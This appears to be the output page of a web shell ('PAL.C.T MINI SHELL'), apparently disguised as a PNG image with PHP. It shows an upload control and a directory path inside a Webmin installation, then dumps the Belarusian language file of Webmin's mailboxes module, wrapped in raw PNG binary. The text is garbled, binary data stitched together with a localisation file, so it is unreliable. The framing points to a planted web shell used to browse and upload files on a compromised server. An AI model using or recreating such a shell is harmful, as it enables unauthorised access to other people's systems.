php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/mailboxes/lang/
upload
files >> //usr/libexec/webmin/mailboxes/lang/be.auto

index_title=Чытайце пошту карыстальніка
index_none=Вам забаронена чытаць электронную пошту для карыстальнікаў гэтай сістэмы.
index_header=Паштовыя скрыні карыстальніка
index_empty=Няма пошты
index_return=спіс карыстальнікаў
index_esystem=Ні адзін з падтрымліваемых паштовых сервераў (Exim, Qmail, Postfix і Sendmail) не быў выяўлены ў вашай сістэме. Вам трэба наладзіць <a href='$1'>канфігурацыю модуля</a>, каб усталяваць паштовы сервер і, магчыма, паштовыя шляхі ўручную.
index_esystem2=Паштовы сервер, усталяваны ў канфігурацыі модуля <a href='$1'></a>, не быў знойдзены ў вашай сістэме. Вам трэба будзе наладзіць канфігурацыю, каб выкарыстоўваць правільны сервер.
index_esystem3=Адбылася памылка ў кантакце з паштовай сістэмай, усталяванай у канфігурацыі модуля <a href='$1'></a>: $2.
index_system6=Паштовы сервер: Exim
index_system5=Паштовы сервер: Qmail+VPopMail
index_system4=Паштовы сервер: Qmail+LDAP
index_system2=Паштовы сервер: Qmail
index_system1=Паштовы сервер: Sendmail
index_system0=Паштовы сервер: Postfix
index_toomany=У вашай сістэме занадта шмат карыстальнікаў, каб паказваць іх на адной старонцы.
index_find=Знайдзіце карыстальнікаў, дзе імя карыстальніка
index_equals=роўна
index_contains=змяшчае
index_eperl=Модуль Perl $1, неабходны для абранага рэжыму аўтэнтыфікацыі SMTP, не ўсталяваны альбо адсутнічае залежны модуль. <a href='$2'>Націсніце тут</a>, каб усталяваць яго зараз.
index_file=Чытайце пошту ў файле ці на Maildir:
index_nousers=Карыстальнікаў не знойдзена!
index_nousersmail=Карыстальнікі з электроннай поштай не знойдзены.

mail_title=Адрас электроннай пошты
mail_from=Ад
mail_date=Дата
mail_subject=Тэма
mail_to=Да
mail_cc=Коп
mail_bcc=Копія
mail_pri=Прыярытэт
mail_highest=Самая высокая
mail_high=Высокі
mail_normal=Звычайны
mail_low=Нізкая
mail_lowest=Самы нізкі
mail_for=У $1
mail_for2=Для карыстальніка $1
mail_sent=У спісе адпраўленых лістоў
mail_size=Памер
mail_level=Адзнака
mail_delete=Выдаліць
mail_compose=Складзіце
mail_open=Адкрыйце
mail_return=паштовы скрыню карыстальніка
mail_pos=Паведамленні $1 да $2 з $3 у $4
mail_none=У гэтага карыстальніка няма паведамленняў $1
mail_ecannot=Вам нельга чытаць электронную пошту гэтага карыстальніка
mail_all=Абраць усё.
mail_invert=Інвертаваць выбар.
mail_nosort=Скінуць сартаванне.
mail_search=Знайдзіце паведамленні дзе
mail_body=Цела
mail_match=запалкі
mail_ok=Пошук
mail_nonefrom=Не
mail_mark=Адзначыць як:
mail_mark0=Непрачытаныя
mail_mark1=Прачытайце
mail_mark2=Асаблівыя
mail_forward=Наперад
mail_move=Перайсці да:
mail_copy=Скапіраваць у:
mail_rfc=З радка
mail_eexists=Паведамлення больш не існуе!
mail_fchange=Змена
mail_indexlink=Вярнуцца ў паштовую скрыню
mail_deleteall=Выдаліць усе
mail_black=Забараніць адпраўнікоў
mail_white=Дазволіць адпраўнікам
mail_whitemove=Дазволіць адпраўнікам і паштовую скрыню
mail_efile=Файл пошты не існуе
mail_fromsrch=Знайдзіце электронны ліст з тым жа адпраўніком
mail_subsrch=Знайдзіце электронную пошту з такой жа тэмай
mail_tosrch=Знайдзіце адрас электроннай пошты з атрымальнікам
mail_fromfilter=Стварыце фільтр адпраўніка
mail_tofilter=Стварыць фільтр па атрымальніку
mail_subfilter=Стварыце фільтр па тэме
mail_unknown=Невядома

mail_sign=Падпішыцеся ключом
mail_nosign=&lt;Не падпісвайце&gt;
mail_crypt=Шыфраваць для
mail_nocrypt=&lt;Не шыфраваць&gt;
mail_samecrypt=&lt;Ключы ад адрасату прызначэння&gt;
mail_addresses=Кіраванне адраснай кнігай
mail_folders=Кіруйце тэчкамі
mail_err=Адбылася памылка пры пералічэнні пошты ў гэтай тэчцы : $1
mail_loginheader=Уваход у сервер POP3
mail_loginheader2=Уваход у сервер IMAP
mail_logindesc=Вы павінны ўвесці імя карыстальніка і пароль, каб атрымаць доступ да пошты ў паштовую скрыню на паштовым серверы $1.
mail_loginuser=Імя карыстальніка
mail_loginpass=Пароль
mail_loginmailbox=Паштовая скрынка IMAP
mail_login=Увайсці
mail_reset=Ясна
mail_logout=Змена ўваходу ў POP3
mail_logout2=Змяніць лагін IMAP
mail_sig=Рэдагаваць подпіс
mail_jump=Перайсці да старонкі :
mail_of=з
mail_replyto=Адказваць на
mail_folder=Папка
mail_delall=Выдаліць усе
mail_deltrash=Пусты смецце
mail_search2=Шукаць:
mail_search3=Знайсці з лікам вышэй:
mail_advanced=Пашыраны пошук
mail_return2=Адрас электроннай пошты
mail_esystem=Адбылася памылка пры звароце да пошты: $1. Гэта павінна выправіць сістэмны адміністратар.
mail_selread=Выберыце прачытанае.
mail_selunread=Выберыце непрачытанае.
mail_selspecial=Выберыце спецыяльныя.
mail_specialsync=Сінхранізацыя спецыяльная

view_title=Чытайце электронную пошту
view_desc=Паведамленне $1 у $2
view_desc2=Паведамленне $1 для карыстальніка $2
view_desc3=Паведамленне $1
view_sent=Паведамленне $1 у спісе адпраўленых лістоў
view_qdesc=Паведамленне ў чарзе $1
view_headers=Загалоўкі пошты
view_body=Змест паведамлення
view_nobody=У гэтым паведамленні няма змесціва цела.
view_allheaders=Прагледзець усе загалоўкі
view_noheaders=Прагляд асноўных загалоўкаў
view_attach=Укладанні
view_afile=Назва ўкладання
view_atype=Тып укладання
view_aactions=Дзеянні
view_aview=Выгляд
view_aopen=Адкрыйце
view_asave=Захаваць
view_aplain=Сырыя
view_anofile=Няма імя файла
view_asize=Памер файла
view_reply=Адказаць
view_reply2=Адказаць усім
view_enew=Рэдагаваць як новы
view_forward=Наперад
view_delete=Выдаліць
view_print=Друк
view_strip=Выдаліце ўкладанні
view_ecannot=Вам нельга чытаць электронную пошту гэтага карыстальніка
view_mark=Адзначыць як:
view_mark0=Непрачытаныя
view_mark1=Прачытайце
view_mark2=Асаблівыя
view_markas0=Непрачытаныя
view_markas1=Прачытайце
view_markas2=Асаблівыя
view_return=арыгінальны ліст
view_sub=Укладзены ліст
view_sub2=Укладзены ліст ад $1
view_egone=Гэта паведамленне больш не існуе
view_eugone=Карыстальніка не існуе

view_gnupg=Пацверджанне подпісу GnuPG
view_gnupg_0=Подпіс $1 дзейнічае.
view_gnupg_1=Подпіс $1 дзейнічае, але ланцужок даверу немагчыма ўсталяваць.
view_gnupg_2=Подпіс $1 дзейнічае <b>НЕ</b>.
view_gnupg_3=ID ключа $1 няма ў вашым спісе, таму подпіс не ўдалося праверыць.
view_gnupg_4=Не атрымалася праверыць подпіс : $1
view_crypt=Расшыфроўка пошты GnuPG
view_crypt_1=Паведамленне зашыфравана, але падтрымка GnuPG не ўстаноўлена.
view_crypt_2=Не атрымалася расшыфраваць паведамленне : $1
view_crypt_3=Пошта паспяхова расшыфравана.
view_crypt_4=Шыфраваная частка паведамлення была паспяхова расшыфравана.
view_recv=<a href='$2'>Выдача ідэнтыфікатара ключа $1 ад сервера клавіш</a>.
view_folder=Вярнуцца ў паштовую скрыню
view_dheader=Адлучыце ўкладанне на сервер
view_detach=Файл асобна:
view_dall=&lt;Усе файлы&gt;
view_dir=у файл альбо каталог сервера:
view_black=Забараніць Сэндэра
view_white=Дазволіць адпраўшчыку
view_whitemove=Дазволіць адпраўшчыка і паштовую скрыню
view_razor=Паведаміць пра спам
view_ham=Паведаміць Хам
view_hammove=Паведаміць пра вяндліну і паштовую скрыню
view_razordel=Выдаліць спам
view_dstatus=Не ўдалося атрымаць статус
view_dstatusok=Статус паспяховай дастаўкі
view_final-recipient=Канчатковы атрымальнік
view_diagnostic-code=Прычына няўдачы
view_remote-mta=Аддалены паштовы сервер
view_reporting-mta=Сервер паштовай справаздачнасці
view_astext=Паглядзець як тэкст
view_ashtml=Паглядзець як HTML
view_images=Паказаць выявы
view_raw=Прагляд сырых паведамленняў
view_aall=Захавайце ўсе ўкладанні як ZIP.
view_aslideshow=Паказаць усе выявы.

compose_title=Напісаць электронную пошту

reply_title=Адказ на электронную пошту
forward_title=Пераслаць электронную пошту
enew_title=Рэдагаваць адрас электроннай пошты
reply_headers=Загалоўкі пошты
reply_attach=Перасланыя ўкладанні
reply_mailforward=Перасланыя паведамленні
reply_attach2=Кліентавыя і серверныя ўкладанні
reply_attach3=Загружаныя ўкладанні
reply_send=Адправіць пошту
reply_ecannot=Вам не дазваляецца адпраўляць пошту гэтым карыстальнікам
reply_body=Тэкст паведамлення
reply_errc=Не атрымалася скапіяваць пошту
reply_errm=Не атрымалася перанесці пошту
reply_return=скласці пошту
reply_efwdnone=Ні адно перасланае паведамленне не існуе
reply_dsn=Запыт прачытаць апавяшчэнне аб стане?
reply_del=Запытаць апавяшчэнне аб стане дастаўкі?
reply_aboot=Дадаць атрымальнікаў у адрасную кнігу?
reply_tabfrom=Ад
reply_tabto=Да
reply_tabreplyto=Адказваць на
reply_tabcc=Коп
reply_tabbcc=Копія
reply_tabsigning=Падпісванне
reply_taboptions=Варыянты
reply_addattach=Дадайце поле ўкладання.
reply_addssattach=Дадайце поле прыкладання на баку сервера.
reply_html0=Складзіце тэкст
reply_html1=Напісаць HTML

reply_spell=Праверце арфаграфічныя памылкі?
reply_draft=Захаваць як чарнавік
reply_save=Захаваць і рэдагаваць

send_err=Не атрымалася адправіць пошту
send_eto=Адсутны адрас
send_efrom=Адсутнічае адрас
send_esubject=Адсутнічае тэма электроннай пошты
send_title=Адпраўлена пошта
send_title2=Захавана пошта
send_ok=Пошта паспяхова адпраўлена на $1
send_sending=Адпраўка пошты на $1.
send_ecannot=Вам не дазваляецца адпраўляць пошту гэтым карыстальнікам
send_esmtp=Каманда SMTP $1 не атрымалася : $2
send_eattach=Укладанні не могуць налічваць больш памеру $1 kB.
send_eperms=Карыстальнік $1 не можа чытаць $2
send_eperms2=Вам не дазваляецца адпраўляць файл $1
send_epath=Выканаўчы файл Sendmail $1 не існуе.
send_efile=Не атрымалася прачытаць укладанне $1 : $2 
send_done=.. малайчына.

send_epass=Вы не можаце падпісаць паведамленне, бо ваша модуль пароляў яшчэ не быў усталяваны ў модулі GnuPG.
send_esign=Не атрымалася падпісаць паведамленне : $1
send_ekey=Не атрымалася знайсці ключ для адраса электроннай пошты $1
send_ecrypt=Не атрымалася зашыфраваць паведамленне : $1
send_eword=Прамаловажнае слова $1
send_eword2=Прамаловажнае слова $1 - магчымыя выпраўленні $2
send_eline=У радку $1 :
send_espell=У паведамленні былі знойдзены наступныя арфаграфічныя памылкі.
send_draft=Пошта на $1 захоўваецца ў тэчцы чарнавікоў.
send_drafting=Захаванне пошты $1 у тэчцы чарнавікоў ..
send_eattachsize=Далучэнне да пошты перавысіла максімальна дапушчальны памер $1 байт

delete_title=Выдаліць пошту
delete_rusure=Вы ўпэўнены, што хочаце выдаліць выбранае паведамленне $1 з $2? Гэта можа заняць некаторы час для вялікага файла пошты. Пакуль выдаленне не завершана, ніякіх іншых дзеянняў нельга выконваць.
delete_rusure2=Вы ўпэўнены, што хочаце выдаліць гэтае паведамленне з $1? Гэта можа заняць некаторы час для вялікага файла пошты. Пакуль выдаленне не завершана, ніякіх іншых дзеянняў нельга выконваць.
delete_ok=Выдаліць зараз
delete_ecannot=Цяпер вы можаце выдаляць пошту ад гэтага карыстальніка
delete_enone=Для выдалення не абрана пошта
delete_emnone=Для пазнакі не абрана пошта
delete_efnone=Не абрана для перадачы пошты
delete_ebnone=Не выбрана пошта для адмовы
delete_ewnone=Для дазволу не абрана пошта
delete_ernone=Не абрана пошта для паведамленні пра спам
delete_ehnone=Не выбрана пошта, каб паведамляць пра вяндліну
delete_emoveuser=Карыстальніка для перамяшчэння пошты не існуе
delete_ecopyuser=Карыстальніка для капіравання пошты не існуе
delete_emovecannot=Вам не дазваляецца перамяшчаць пошту паказанаму карыстачу
delete_ecopycannot=Вам не дазваляецца капіраваць пошту паказанаму карыстачу
delete_emovenone=Для пераезду не абрана пошта
delete_ecopynone=Для капіявання не абраны ліст
delete_nobutton=Не націснутая кнопка
delete_ereport=Не атрымалася паведаміць як пра спам : $1
delete_errc=Не атрымалася скапіяваць пошту
delete_errm=Не атрымалася перанесці пошту

confirm_title=Пацвердзіце выдаленне
confirm_warn=Вы ўпэўнены, што хочаце выдаліць выбраныя паведамленні $1 з гэтай тэчкі?
confirm_warnf=Вы ўпэўнены, што хочаце выдаліць выбраныя паведамленні $1 з папкі <b>$2</b>?
confirm_warn2=З-за памеру і фармату паштовай скрыні гэта можа заняць некаторы час. Пакуль выдаленне не завершана, ніякіх іншых дзеянняў нельга выконваць.
confirm_warn3=Вы ўпэўнены, што хочаце выдаліць гэтае паведамленне?
confirm_warn4=Пакуль выдаленне не завершана, ніякіх іншых дзеянняў нельга выконваць.
confirm_ok=Выдаліць зараз
confirm_warnall=Вы ўпэўнены, што хочаце выдаліць усе паведамленні з гэтай тэчкі?
confirm_warnallf=Вы ўпэўнены, што хочаце выдаліць усе паведамленні ў тэчцы <b>$1</b>?

search_title=Вынікі пошуку
search_ecannot=Вам не дазволена шукаць электронную пошту гэтага карыстальніка
search_ematch=Вы павінны ўвесці тэкст, каб адпавядаць.
search_escore=Адсутнічае альбо несапраўдная адзнака спаму
search_efield=Неабходна выбраць тып пошуку.
search_ewhat=Для радка $1 адсутнічае тэкст, які павінен адпавядаць
search_enone=Крытэры пошуку не ўводзяцца
search_none=Не знойдзена паведамленняў
search_results2=$1 паведамленні электроннай пошты, якія адпавядаюць $2
search_results3=$1 паведамленні электроннай пошты не супадаюць $2
search_results4=$1 паштовыя паведамленні, якія адпавядаюць вашым пошукам
search_results5=$1 паштовыя паведамленні, дзе $2 супадае $3
search_msg2=Вынікі пошуку для $1
search_msg4=Вынікі пошуку
search_msg5=Вынікі пошуку для спаму з лікам $1
search_msg6=Вынікі пошуку для $1 у полі $2
search_local=У лакальных папках
search_all=Ва ўсіх папках
search_limit=(з апошніх паведамленняў $1)
search_status=Са статусам
search_attach=Павінны мець укладанні?
search_allstatus=Любы
search_onestatus=Толькі статус
search_latest=Паведамленні для пошуку
search_nolatest=Усё ў тэчцы
search_latestnum=Толькі апошні
search_elatest=Адсутнічае альбо недапушчальная колькасць паведамленняў для пошуку
search_withstatus=, са статусам $1

folder_inbox=Уваходныя
folder_sent=Даслана пошта
folder_drafts=Чарнавікі
folder_trash=Хлам

detach_err=Не атрымалася адлучыць файл
detach_edir=Няма файла альбо каталога для захавання
detach_eopen=Не атрымалася адкрыць $1 : $2 
detach_ewrite=Не атрымалася напісаць на $1 : $2 
detach_title=Адлучыць файл
detach_ok=Напісана ўкладанне ў файл на баку сервера $1 ($2).

sform_title=Пашыраны пошук
sform_header=Пашыраны варыянт пошуку па электроннай пошце
sform_andmode=Рэжым крытэрыяў
sform_and=Знайдзіце паведамленні, якія адпавядаюць усім крытэрыям ніжэй ..
sform_or=Знайдзіце паведамленні, якія адпавядаюць любым крытэрам ніжэй.
sform_neg0=змяшчае
sform_neg1=не ўтрымлівае
sform_ok=Пошук зараз
sform_folder2=Пошук у тэчках
sform_all=&lt;Усе тэчкі&gt;
sform_local=&lt;Лакальныя тэчкі&gt;
sform_where=Куды
sform_text=тэкст
sform_from=Ад: загаловак
sform_subject=Тэма: загаловак
sform_to=Для: загаловак
sform_cc=Cc: загаловак
sform_bcc=Копія: загаловак
sform_date=Дата: загаловак
sform_body=цела паведамлення
sform_headers=любы загаловак
sform_allmsg=цэлае паведамленне
sform_size=памер паведамлення
sform_return=пашыраная форма пошуку

find_enone=Не знойдзена карыстальнікаў, якія адпавядаюць вашаму пошуку
find_title=Вынікі пошуку
find_results=Карыстальнікі адпавядаюць пошукам $1 ..
find_user=Імя карыстальніка
find_real=Сапраўднае імя
find_group=Група
find_home=Хатні каталог
find_size=Памер пошты
find_incount=Электронная пошта
find_sentcount=Адпраўлена
find_fcount=Папкі
find_in=$1 ў $2

acl_none=Не
acl_same=Карыстальнік з такім імем
acl_all=Усе
acl_read=Карыстальнікі, чыю пошту можна прачытаць
acl_users=Толькі карыстальнікі
acl_userse=Усе, акрамя карыстальнікаў
acl_usersg=Члены груп
acl_from=Дазволена з адрасоў
acl_any=Любы адрас
acl_fdoms=Даменныя скрыні @ дамены
acl_faddrs=Пералічаныя адрасы
acl_fdom=Любы адрас @ дамен
acl_fromname=Сапраўднае імя для Адрас
acl_apath=Абмежаваць файлы і праграмы ў каталог
acl_attach=Максімальны агульны памер укладанняў
acl_unlimited=Неабмежаваны
acl_sent=Захоўваць адпраўленую пошту ў паштовую скрыню
acl_canattach=Ці можна прымацаваць файлы на баку сервера?
acl_candetach=Ці можна адлучыць файлы на серверы?
acl_usersm=Карыстальнікі супадаюць
acl_asame=Гэтак жа, як імя карыстальніка
acl_usersu=З UID у дыяпазоне
acl_sec=Уключыце другасныя групы?
acl_dir=Можа чытаць паштовыя файлы ў каталогу
acl_dirauto=Прымаць рашэнне аўтаматычна (дзе заўгодна, калі ўсе карыстальнікі бачныя, нідзе інакш)

log_delmail=Выдалены $1 паведамленні з $2
log_movemail=Перакладзеныя паведамленні $1 з $2 ў $3
log_copymail=Скапіраваныя паведамленні $1 з $2 ў $3
log_send=Даслана пошта $1
log_read=Чытайце пошту для $1

emodified=Гэтая тэчка была зменена пасля яе апошняга прагляду! Вярніцеся ў <a href='$1'>спіс лістоў</a> і паспрабуйце яшчэ раз.

razor_title=Справаздача як спам
razor_title2=Рэпартаж як Хам
razor_report=Паведаміць аб гэтым паведамленні Razor і іншым базам дадзеных аб блакаванні спаму SpamAssassin ..
razor_report2=Паведамленне пра выбраныя паведамленні Razor і іншым SpamAssassin, якія блакуюць спам.
razor_report3=Недакладванне выбраных паведамленняў Razor і іншым SpamAssassin-спамам, якія блакуюць спам.
razor_done=.. малайчына
razor_err=.. няўдала! Глядзіце паведамленне пра памылку вышэй па прычыне таго.
razor_moved=.. зроблена, і перайшоў у тэчку $1.
razor_deleted=.. зроблена, і выдаленае паведамленне таксама.

ham_title=Рэпартаж як Хам
ham_report=Паведаміць пра гэта паведамленне пра непажаданае спагнанне Razor і іншыя базы дадзеных SpamAssassin ..

black_title=Адмова адпраўніка
black_done=Дададзены адрас электроннай пошты $1 да спісу адмоў SpamAssassin.
black_already=Адрас электроннай пошты $1 ужо знаходзіцца ў спісе адмоў SpamAssassin.

white_title=Дазвол адпраўніка
white_done=У спіс дазволеных SpamAssassin дадаў адрас электроннай пошты $1.
white_already=Адрас электроннай пошты $1 ужо ў спісе дазволеных SpamAssassin.

ldap_emod=Адсутнічае модуль Perl $1, неабходны для падлучэння да LDAP
ldap_econn=Не атрымалася падключыцца да сервера LDAP $1 порт $2
ldap_elogin=Не атрымалася прывязаць да сервера LDAP $1 як $2 : $3 
ldap_ehost=У канфігурацыі модуля не ўстаноўлены сервер LDAP
ldap_eport=У канфігурацыі модуля не ўстаноўлены сапраўдны порт сервера LDAP
ldap_euser=У канфігурацыі модуля не ўсталяваны ўход у сістэму LDAP
ldap_ebase=У канфігурацыі модуля не ўстаноўлена базавая DN LDAP

delall_title=Выдаліць усю пошту
delall_rusure=Вы ўпэўнены, што хочаце выдаліць усю электронную пошту з $1? $2 паведамленні на агульную суму $3 будуць выдаленыя назаўсёды.
delall_ok=Выдаліць зараз

slide_title=Прыкладзеныя выявы
slide_prev=Папярэдняя
slide_next=Далей

left_mail=Пошта
left_search=Пошук:
left_folders=Кіруйце тэчкамі
left_addresses=Адрасная кніга
left_prefs=Налады пошты
left_forward=Пераслаць электронную пошту
left_autoreply=Аўтаматычны адказ
left_filter=Фільтры электроннай пошты
left_pass=Змена пароля
left_sig=Рэдагаваць подпіс
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`